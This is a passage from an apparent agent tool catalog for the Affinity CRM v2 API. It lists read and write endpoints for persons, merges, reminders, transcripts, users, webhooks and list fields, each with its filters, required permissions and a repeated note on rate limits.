Opportunity. You can filter notes using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `creator.id` | `int32` | `=` | `creator.id=1` | | `createdAt` | `datetime` | `>`, `<`, `>=`, `<=` | `createdAt<2025-02-04T10:48:24Z` | | `updatedAt` | `datetime` | `>`, `<`, `>=`, `<=` | `updatedAt>=2025-02-03T10:48:24Z` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/opportunities/{opportunityId}/notes. Scopes: api.read. affinity_get_v2_person_merges (read) — Get All Person Merges via GET /v2/person-merges. Retrieve paginated person merges for the organization. Returns all person merges initiated by users in your organization, including their current status, the persons involved, and merge details. You can filter person merges using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties: | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `status` | `enum` | `=` | `status=in-progress`, `status=success`, `status=failed` | | `taskId` | `text` | `=` | `taskId=789e0123-e45b-67c8-d901-234567890123` | Person merges are returned in reverse chronological order (most recent first). Requires the "Manage duplicates" [permission](/pages/external-api-v2/permissions) and organization admin role. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/person-merges. Scopes: api.read. affinity_get_v2_person_merges_by_mergeid (read) — Get Person Merge via GET /v2/person-merges/{mergeId}. Retrieve the status and details of a specific person merge. Returns information about the person merge including its current status, the persons involved, timestamps, and any error information if the merge failed. The `mergeId` can be obtained from the response of the [Get All Person Merges](/api-reference/person-merges/get-all-person-merges) endpoint, or by filtering person merges by task ID using `/v2/person-merges?filter=taskId={taskId}` after initiating a merge. Requires the "Manage duplicates" [permission](/pages/external-api-v2/permissions) and organization admin role. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/person-merges/{mergeId}. Scopes: api.read. affinity_get_v2_persons (read) — Get all Persons via GET /v2/persons. Paginate through Persons in Affinity. Returns basic information and non-list-specific field data on each Person. To retrieve field data, you must use either the `fieldIds` or the `fieldTypes` parameter to specify the Fields for which you want data returned. These Field IDs and Types can be found using the GET `/v2/persons/fields` endpoint. When no `fieldIds` or `fieldTypes` are provided, Persons will be returned without any field data attached. To supply multiple `fieldIds` or `fieldTypes` parameters, generate a query string that looks like this: `?fieldIds=field-1234&fieldIds=affinity-data-location` or `?fieldTypes=enriched&fieldTypes=global`. Requires the "Export All People directory" [permission](/pages/external-api-v2/permissions). Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/persons. Scopes: api.read. affinity_get_v2_persons_by_personid (read) — Get a single Person via GET /v2/persons/{personId}. Returns basic information and non-list-specific field data on the requested Person. To retrieve field data, you must use either the `fieldIds` or the `fieldTypes` parameter to specify the Fields for which you want data returned. These Field IDs and Types can be found using the GET `/v2/persons/fields` endpoint. When no `fieldIds` or `fieldTypes` are provided, Persons will be returned without any field data attached. To supply multiple `fieldIds` or `fieldTypes` parameters, generate a query string that looks like this: `?fieldIds=field-1234&fieldIds=affinity-data-location` or `?fieldTypes=enriched&fieldTypes=global`. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/persons/{personId}. Scopes: api.read. affinity_get_v2_persons_by_personid_fields (read) — Get field values on a single Person via GET /v2/persons/{personId}/fields. | ⚠️ This endpoint is currently in BETA | |--| Paginate through field values on a single person. Enriched, global, and relationship-intelligence fields will be included by default. The `ids` and `types` parameters can be used to filter the collection. These parameters are mutually exclusive. List fields are not returned by this endpoint. To retrieve or update list field values, use the [list entry fields](/api-reference/lists/get-field-values-on-a-single-list-entry) endpoints. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/persons/{personId}/fields. Scopes: api.read. affinity_get_v2_persons_by_personid_fields_by_fieldid (read) — Get a single field on a Person via GET /v2/persons/{personId}/fields/{fieldId}. | ⚠️ This endpoint is currently in BETA | |--| Retrieve a single field on a person. Returns basic information and the field value. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/persons/{personId}/fields/{fieldId}. Scopes: api.read. affinity_get_v2_persons_by_personid_fields_by_fieldid_values (read) — Get values for a single field on a Person via GET /v2/persons/{personId}/fields/{fieldId}/values. | ⚠️ This endpoint is currently in BETA | |--| Paginate through all values for a field on a person. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/persons/{personId}/fields/{fieldId}/values. Scopes: api.read. affinity_get_v2_persons_by_personid_list_entries (read) — Get a Person's List Entries via GET /v2/persons/{personId}/list-entries. Paginate through the List Entries (AKA rows) for the given Person across all Lists. Each List Entry includes field data for the Person, including list-specific field data. Each List Entry also includes metadata about its creation, i.e., when it was added to the List and by whom. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/persons/{personId}/list-entries. Scopes: api.read. affinity_get_v2_persons_by_personid_lists (read) — Get a Person's Lists via GET /v2/persons/{personId}/lists. Paginate through all Lists where the given Person appears as an entry and that you have access to view. Returns basic List information for each List that contains this Person. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/persons/{personId}/lists. Scopes: api.read. affinity_get_v2_persons_by_personid_notes (read) — Get Notes for a Person via GET /v2/persons/{personId}/notes. Returns notes for a given person id which includes directly attached notes, notes on meetings this person attended, and notes where this person is mentioned. You can filter notes using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `creator.id` | `int32` | `=` | `creator.id=1` | | `createdAt` | `datetime` | `>`, `<`, `>=`, `<=` | `createdAt<2025-02-04T10:48:24Z` | | `updatedAt` | `datetime` | `>`, `<`, `>=`, `<=` | `updatedAt>=2025-02-03T10:48:24Z` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/persons/{personId}/notes. Scopes: api.read. affinity_get_v2_persons_by_personid_relationships (read) — Get Relationships for a Person via GET /v2/persons/{personId}/relationships. Returns the relationships for a given person, including the interaction score that measures the strength of each relationship based on communication patterns such as emails, meetings, and other interactions. Each relationship includes two persons (person1 and person2) who have a connection. ## Interaction score The `interactionScore` is a value between `0.0` and `1.0` that reflects how frequently the two persons interact across email, calendar events, and chat messages. The more interactions, the higher the score. Recent interactions are weighted slightly higher than older ones. As rough guidance, scores at or above `0.7` typically indicate two persons that communicate regularly, scores between `0.4` and `0.7` indicate occasional communication, and scores below `0.4` indicate only sporadic communication. ## LinkedIn connections The collection also includes relationships based on a LinkedIn connection between the given person and their internal team member counterpart. Whenever a LinkedIn connection exists between the two persons in a relationship, `linkedIn` is populated with the date the connection was made.`linkedIn` is `null` when no LinkedIn connection exists between the two persons. Note that LinkedIn-based relationships which do not have any interaction data will have an `interactionScore` of `0`. ## Filters You can filter relationships using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Description** | **Allowed Operators** | **Examples** | |---|---|---|---|---| | `interactionScore` | `double` | Strength of the relationship, between `0.0` and `1.0`. Higher means stronger. | `>`, `<`, `>=`, `<=` | `interactionScore>=0.5` | ## Sorting You can sort relationships using the `orderBy` query parameter. `interactionScore` is the only sortable property. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/persons/{personId}/relationships. Scopes: api.read. affinity_get_v2_persons_fields (read) — Get metadata on Person Fields via GET /v2/persons/fields. Returns metadata on non-list-specific Person Fields. Use the returned Field IDs to request field data from the GET `/v2/persons` and GET `/v2/persons/{id}` endpoints. You can filter Fields using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `name` | `text` | `=`, `=~` | `name="Location"`, `name=~loc` | Use the `includes` query parameter to add optional metadata to each Field in the response. Pass `includes` more than once to request multiple values. | **Value** | **Adds to each Field** | |---|---| | `filterability` | How the field can be used in filter expressions on GET `/v2/persons` and POST `/v2/persons/search` | | `sortability` | How the field can be used in sort expressions on those endpoints | Example: `GET /v2/persons/fields?includes=filterability&includes=sortability` Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/persons/fields. Scopes: api.read. affinity_get_v2_persons_fields_by_fieldid_dropdown_options (read) — Get dropdown options for a Person Field via GET /v2/persons/fields/{fieldId}/dropdown-options. Returns the dropdown options for a specific dropdown or ranked-dropdown field on a Person. Use the returned dropdown option IDs when writing dropdown field values via the field update endpoints. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/persons/fields/{fieldId}/dropdown-options. Scopes: api.read. affinity_get_v2_rate_limit (read) — Get rate limit usage via GET /v2/rate-limit. | ⚠️ This endpoint is currently in BETA | |--| Returns the current rate limit usage for the authenticated caller. `orgPerMonth` is included only for callers that have a monthly quota; it is absent for callers that don't have one. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/rate-limit. Scopes: api.read. affinity_get_v2_reminders (read) — Get all Reminders via GET /v2/reminders. Returns a page of Reminders visible to the caller. You can filter reminders using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `id` | `int64` | `=` | `id=1\|id=2\|id=3` | | `type` | `enum` | `=` | `type=one-time`, `type=recurring` | | `status` | `enum` | `=` | `status=active`, `status=overdue`, `status=completed` | | `resetTrigger` | `enum` | `=` | `resetTrigger=interaction`, `resetTrigger=email`, `resetTrigger=event` | | `dueDate` | `datetime` | `>`, `<`, `>=`, `<=` | `dueDate>=2026-01-01T00:00:00Z` | | `completedAt` | `datetime` | `>`, `<`, `>=`, `<=` | `completedAt=2026-01-01T00:00:00Z` | | `createdAt` | `datetime` | `>`, `<`, `>=`, `<=` | `createdAt>=2026-01-01T00:00:00Z` | | `updatedAt` | `datetime` | `>`, `<`, `>=`, `<=` | `updatedAt>=2026-01-01T00:00:00Z` | | `owner.id` | `int64` | `=`, `!=` | `owner.id=1\|owner.id=2`, `owner.id!=3` | | `creator.id` | `int64` | `=` | `creator.id=1` | | `completer.id` | `int64` | `=` | `completer.id=1` | | `company.id` | `int64` | `=` | `company.id=42` | | `person.id` | `int64` | `=` | `person.id=42` | | `opportunity.id` | `int64` | `=` | `opportunity.id=42` | Results are ordered by `dueDate` ascending (soonest-due first). Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/reminders. Scopes: api.read. affinity_get_v2_reminders_by_reminderid (read) — Get a single Reminder via GET /v2/reminders/{reminderId}. | ⚠️ This endpoint is currently in BETA | |--| Returns a single Reminder. Responds with `404` when the reminder does not exist or is not visible to the caller. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/reminders/{reminderId}. Scopes: api.read. affinity_get_v2_tasks_company_merges (read) — Get All Company Merge Tasks via GET /v2/tasks/company-merges. Retrieve paginated company merge tasks for the organization. Returns all merge tasks initiated by users in your organization, including their current status, the companies involved, and task details. You can filter tasks using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties: | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `status` | `enum` | `=` | `status=in-progress`, `status=success`, `status=failed` | Tasks are returned in reverse chronological order (most recent first). Requires the "Manage duplicates" [permission](/pages/external-api-v2/permissions) and organization admin role. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/tasks/company-merges. Scopes: api.read. affinity_get_v2_tasks_company_merges_by_taskid (read) — Get Company Merge Task via GET /v2/tasks/company-merges/{taskId}. Retrieve the status and details of a specific task for company merges. Returns information about the company merges for a specific task including its overall status, number of merges in-progress, completed, and failed. Detailed information about individual merges for this task can be found by querying: `/v2/company-merges?filter=taskId={taskId}` See [Company Merges](/api-reference/company-merges/get-all-company-merges) for more details. Task statuses: - `in-progress`: The merge task is currently being processed. - `success`: The merge task completed successfully. - `failed`: The merge task failed. Requires the "Manage duplicates" [permission](/pages/external-api-v2/permissions) and organization admin role. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/tasks/company-merges/{taskId}. Scopes: api.read. affinity_get_v2_tasks_person_merges (read) — Get All Person Merge Tasks via GET /v2/tasks/person-merges. Retrieve paginated person merge tasks for the organization. Returns all merge tasks initiated by users in your organization, including their current status, the persons involved, and task details. You can filter tasks using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties: | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `status` | `enum` | `=` | `status=in-progress`, `status=success`, `status=failed` | Tasks are returned in reverse chronological order (most recent first). Requires the "Manage duplicates" [permission](/pages/external-api-v2/permissions) and organization admin role. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/tasks/person-merges. Scopes: api.read. affinity_get_v2_tasks_person_merges_by_taskid (read) — Get Person Merge Task via GET /v2/tasks/person-merges/{taskId}. Retrieve the status and details of a specific task for person merges. Returns information about the person merges for a specific task including its overall status, number of merges in-progress, completed, and failed. Detailed information about individual merges for this task can be found by querying: `/v2/person-merges?filter=taskId={taskId}` See [Person Merges](/api-reference/person-merges/get-all-person-merges) for more details. Task statuses: - `in-progress`: The merge task is currently being processed. - `success`: The merge task completed successfully. - `failed`: The merge task failed. Requires the "Manage duplicates" [permission](/pages/external-api-v2/permissions) and organization admin role. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/tasks/person-merges/{taskId}. Scopes: api.read. affinity_get_v2_transcripts (read) — Get all Transcripts via GET /v2/transcripts. Paginate through all transcripts and return basic metadata only. Use the single transcript endpoint to fetch the entire transcript data. Will only return transcripts that the current authenticated user has permission to see. You can filter transcripts using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `id` | `int32` | `=` | `id=1` | | `createdAt` | `datetime` | `>`, `<`, `>=`, `<=` | `createdAt<2025-02-04T10:48:24Z` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/transcripts. Scopes: api.read. affinity_get_v2_transcripts_by_transcriptid (read) — Get a single Transcript via GET /v2/transcripts/{transcriptId}. Get a transcript with a given id with the first 100 fragments of the transcript. Use the /fragments endpoint to fetch all fragments of the transcript. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/transcripts/{transcriptId}. Scopes: api.read. affinity_get_v2_transcripts_by_transcriptid_fragments (read) — Get fragments of a transcript via GET /v2/transcripts/{transcriptId}/fragments. Get fragments of a transcript given a transcript id. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/transcripts/{transcriptId}/fragments. Scopes: api.read. affinity_get_v2_users (read) — Get all Users via GET /v2/users. | ⚠️ This endpoint is currently in BETA | |--| Paginate through internal Users in your organization. Returns information about each User, including name, primary email address, all email addresses, photo URL, account status, and account role. The `emailAddresses` and `role` properties are only returned to callers with the "Manage Users" [permission](/pages/external-api-v2/permissions). Use the optional `term` parameter to filter by first name, last name, or primary email address. You can also filter users using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `id` | `int32` | `=` | `id=1\|id=2\|id=3` | | `status` | `enum` | `=` | `status=active` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/users. Scopes: api.read. affinity_get_v2_users_by_userid (read) — Get a single User via GET /v2/users/{userId}. | ⚠️ This endpoint is currently in BETA | |--| Returns information about a single internal User, including name, primary email address, all email addresses, photo URL, account status, and account role. The `userId` path parameter is the same identifier as the User's corresponding Person ID — every internal User has a matching Person record, and they share the same numeric ID. You can use a Person ID returned from any Persons endpoint here, and vice versa. The `emailAddresses` and `role` properties are only returned to callers with the "Manage Users" [permission](/pages/external-api-v2/permissions). Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/users/{userId}. Scopes: api.read. affinity_get_v2_webhooks (read) — Get all Webhooks via GET /v2/webhooks. | ⚠️ This endpoint is currently in BETA | |--| Returns a page of the Webhooks created by the caller. Users allowed to manage all webhooks receive every Webhook in the organization. You can filter webhooks using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `id` | `int64` | `=` | `id=1\|id=2` | | `createdAt` | `datetime` | `>`, `<`, `>=`, `<=` | `createdAt>=2026-01-01T00:00:00Z` | | `updatedAt` | `datetime` | `>`, `<`, `>=`, `<=` | `updatedAt>=2026-01-01T00:00:00Z` | Results are ordered by `id` ascending. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/webhooks. Scopes: api.read. affinity_get_v2_webhooks_by_webhookid (read) — Get a single Webhook via GET /v2/webhooks/{webhookId}. | ⚠️ This endpoint is currently in BETA | |--| Returns a single Webhook created by the caller. Users allowed to manage all webhooks may retrieve any Webhook in the organization. Responds with `404` when the webhook does not exist or is not accessible. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/webhooks/{webhookId}. Scopes: api.read. affinity_patch_v2_companies_by_companyid_fields (write) — Perform batch operations on a company's fields via PATCH /v2/companies/{companyId}/fields. Perform batch operations on a company's fields. Currently the only operation at the endpoint is `update-fields`, which allows you to update multiple field values with a single request. This is equivalent to calling [the single field update](/api-reference/companies/update-a-single-field-value-on-a-company) endpoint multiple times. You can update up to 100 fields per request. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. PATCH /api/v1/affinity/v2/companies/{companyId}/fields. Scopes: api. affinity_patch_v2_lists_by_listid_list_entries_by_listentryid_fields (write) — Perform batch operations on a list entry's fields via PATCH /v2/lists/{listId}/list-entries/{listEntryId}/fields. Perform batch operations on a list entry's fields. Currently the only operation at the endpoint is `update-fields`, which allows you to update multiple field values with a single request. This is equivalent to calling [the single field update](/api-reference/lists/update-a-single-field-value-on-a-list-entry) endpoint multiple times. You can update up to 100 fields per request. Requires the "Export data from Lists" [permission](/pages/external-api-v2/permissions). Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. PATCH /api/v1/affinity/v2/lists/{listId}/list-entries/{listEntryId}/fields. Scopes: api. affinity_patch_v2_persons_by_personid_fields (write) — Perform batch operations on a person's fields via PATCH /v2/persons/{personId}/fields. Perform batch operations on a person's fields. Currently the only operation at the endpoint is `update-fields`, which allows you to update multiple field values with a single request. This is equivalent to calling [the single field update](/api-reference/persons/update-a-single-field-value-on-a-person) endpoint multiple times. You can update up to 100 fields per request. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. PATCH /api/v1/affinity/v2/persons/{personId}/fields. Scopes: api. affinity_post_v2_companies_by_companyid_fields_by_fieldid (write) — Update a single field value on a Company via POST /v2/companies/{companyId}/fields/{fieldId}. Update a single field value on a company. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/companies/{companyId}/fields/{fieldId}. Scopes: api. affinity_post_v2_companies_search (write) — Search Companies via POST /v2/companies/search. | ⚠️ This endpoint is currently in BETA | |--| Search for Companies matching the given criteria. Accepts an optional combination of filters, sorts, and a search term. Omitting the body is equivalent to `GET /v2/companies` with default pagination. Requires the "Export All Organizations directory" [permission](/pages/external-api-v2/permissions). ### Field IDs Field IDs used in `filters`, `sorts`, and `search.fieldIds` follow the formats described in [Working with Field Data](/pages/data-model/working-with-field-data). Use `GET /v2/companies/fields` to discover the available fields and their `valueType`. ### `attributeId` Some fields require an `attributeId` to specify which aspect to filter or sort on. The following relationship intelligence fields all use `attributeId: "date-of-activity"`: `last-email`, `first-email`, `last-contact`, `last-event`, `first-event`, `next-event`. Use `GET /v2/companies/fields` to confirm which fields require an `attributeId`. ### Search The `search.term` is always matched against the company name and primary domain. Providing `search.fieldIds` extends the search to those additional fields; it does not restrict matching to only those fields. Fields with a `valueType` of `datetime` are not searchable and are silently ignored if included in `search.fieldIds`. ### Limits - **Items per filter group** (filters or nested groups): 50 - **Values per filter** (e.g. options in `is-any-of`): 100 - **Sort criteria**: 5 - **Search term minimum length**: 3 characters - **Results per page**: 100 ### Pagination Uses cursor-based pagination. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/companies/search. Scopes: api. affinity_post_v2_company_merges (write) — Initiate Company Merge via POST /v2/company-merges. Initiate a company merge to combine a duplicate company profile into a primary company profile. This is an asynchronous process that will merge all data from the duplicate company into the primary company. Once the merge is initiated, you can track its progress using the returned task URL. Requires the "Manage duplicates" [permission](/pages/external-api-v2/permissions) and organization admin role. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/company-merges. Scopes: api. affinity_post_v2_feedback (write) — Send Feedback via POST /v2/feedback. Send feedback to Affinity about a particular product area or feature. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/feedback. Scopes: api. affinity_post_v2_files_search (write) — Search Files by Keyword via POST /v2/files/search. Search files by keyword. The scope of the search is controlled by the request body: - Provide `fileIds` to limit the search to specific files. - Provide `companyId` to limit the search to files associated with a specific company. - Omit both to search across your entire account. `fileIds` and `companyId` are mutually exclusive. Returns up to `limit` files ordered by relevance. Prompts with no strong matches may still return low-relevance results. Each result contains a matched file and a single representative excerpt (a matching passage from that file). Even if a file contains multiple matching passages, it appears exactly once in the response with one excerpt. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/files/search. Scopes: api. affinity_post_v2_lists (write) — Create a List via POST /v2/lists. Create a new List. The List type determines the kind of entities (Companies, Persons, or Opportunities) that can be added. The requester is recorded as the creator and the owner. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/lists. Scopes: api. affinity_post_v2_lists_by_listid_fields_by_fieldid_dropdown_options (write) — Create a dropdown option for a List Field via POST /v2/lists/{listId}/fields/{fieldId}/dropdown-options. Create a dropdown option for a List Field. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/lists/{listId}/fields/{fieldId}/dropdown-options. Scopes: api. affinity_post_v2_lists_by_listid_fields_by_fieldid_dropdown_options_by_dropdownoptionid (write) — Update a dropdown option for a List Field via POST /v2/lists/{listId}/fields/{fieldId}/dropdown-options/{dropdownOptionId}. Update a dropdown option for a List Field. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/lists/{listId}/fields/{fieldId}/dropdown-options/{dropdownOptionId}. Scopes: api. affinity_post_v2_lists_by_listid_list_entries_by_listentryid_fields_by_fieldid (write) — Update a single field value on a List Entry via POST /v2/lists/{listId}/list-entries/{listEntryId}/fields/{fieldId}. Update a single field value. Requires the "Export data from Lists" [permission](/pages/external-api-v2/permissions). Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. POST /api/v1/affinity/v2/lists/{listId}/list-entries/{listEntryId}/fields/{fieldId}. Scopes: api. affinity_post_v2_lists_by_listid_list_entries_search (write) — Search List Entries via POST /v2/lists/{listId}/list-entries/search. | ⚠️ This endpoint is currently in BETA | |--| Search for List Entries on a List matching the given criteria. Accepts an optional combination of filters, sorts, and a search term. All fields in the request body are optional. Omitting the body entirely is equivalent to `GET /v2/lists/{listId}/list-entries` with default pagination. Requires the "Export data from Lists" [permission](/pages/external-api-v2/permissions). ### Field IDs Field IDs used in `filters`, `sorts`, and `search.fieldIds` follow the formats described in [Working with Field Data](/pages/data-model/working-with-field-data). Use `GET /v2/lists/{listId}/fields?includes=filterability` to discover which fields are filterable and what operators each supports. Use `GET /v2/lists/{listId}/fields?includes=sortability` for sortable fields. ### `attributeId` Some fields require an `attributeId` to specify which aspect to filter or sort on. The following relationship intelligence fields all use `attributeId: "date-of-activity"`: `last-email`, `first-email`, `last-contact`, `last-event`, `first-event`, `next-event`. Use `GET /v2/lists/{listId}/fields?includes=filterability` to confirm which fields require an `attributeId`. ### Search The `search.term` is always matched against the entity's name and primary identifier: company name and primary domain (company lists), person first name, last name, and primary email address (person lists), or opportunity name (opportunity lists). Providing `search.fieldIds` extends the search to those additional fields; it does not restrict matching to only those fields. Fields with a `valueType` of `datetime` are not searchable and are silently ignored if included in `search.fieldIds`. ### Limits - **Items per filter group** (filters or nested groups): 50 - **Values per filter** (e.g. options in `is-any-of`): 100 - **Sort criteria**: 5 - **Search term minimum length**: 3 characters - **Results per page**: 100 